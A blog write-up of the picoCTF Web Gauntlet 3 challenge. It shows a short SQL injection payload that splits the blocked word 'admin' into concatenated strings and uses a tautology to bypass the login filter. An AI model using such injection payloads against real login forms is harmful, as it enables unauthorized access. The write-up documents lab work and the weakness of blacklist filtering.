Blog section
PicoCTF

PicoCTF Web Gauntlet 3 Writeup: Keeping the SQL Bypass Short

A compact Web Gauntlet 3 walkthrough using a short SQL filter bypass under a 25-character limit.

Mar 14, 20243 min readAdapted from my picoCTF notes
PicoCTFWeb ExploitationSQL InjectionFilter Bypass

Web Gauntlet 3 adds one more constraint: the payload must stay short. The filter blocks the usual SQL injection tokens and the literal admin, so the same string-concatenation idea remains useful.

Web Gauntlet 3 filter

Payload

Username: ad'||'min
Password: 1' IS NOT '2

The backend query resolves the username as admin without typing the blocked word directly:

SELECT username, password
FROM users
WHERE username='ad'||'min'
  AND password='1' IS NOT '2'

Flag

The short bypass successfully authenticates and reaches the flag output.

Authenticated result

Flag output

Key Takeaways

  1. Payload length limits reward concise syntax.
  2. Building blocked strings dynamically can defeat simple blacklist checks.
  3. The root issue is still unsafe query construction.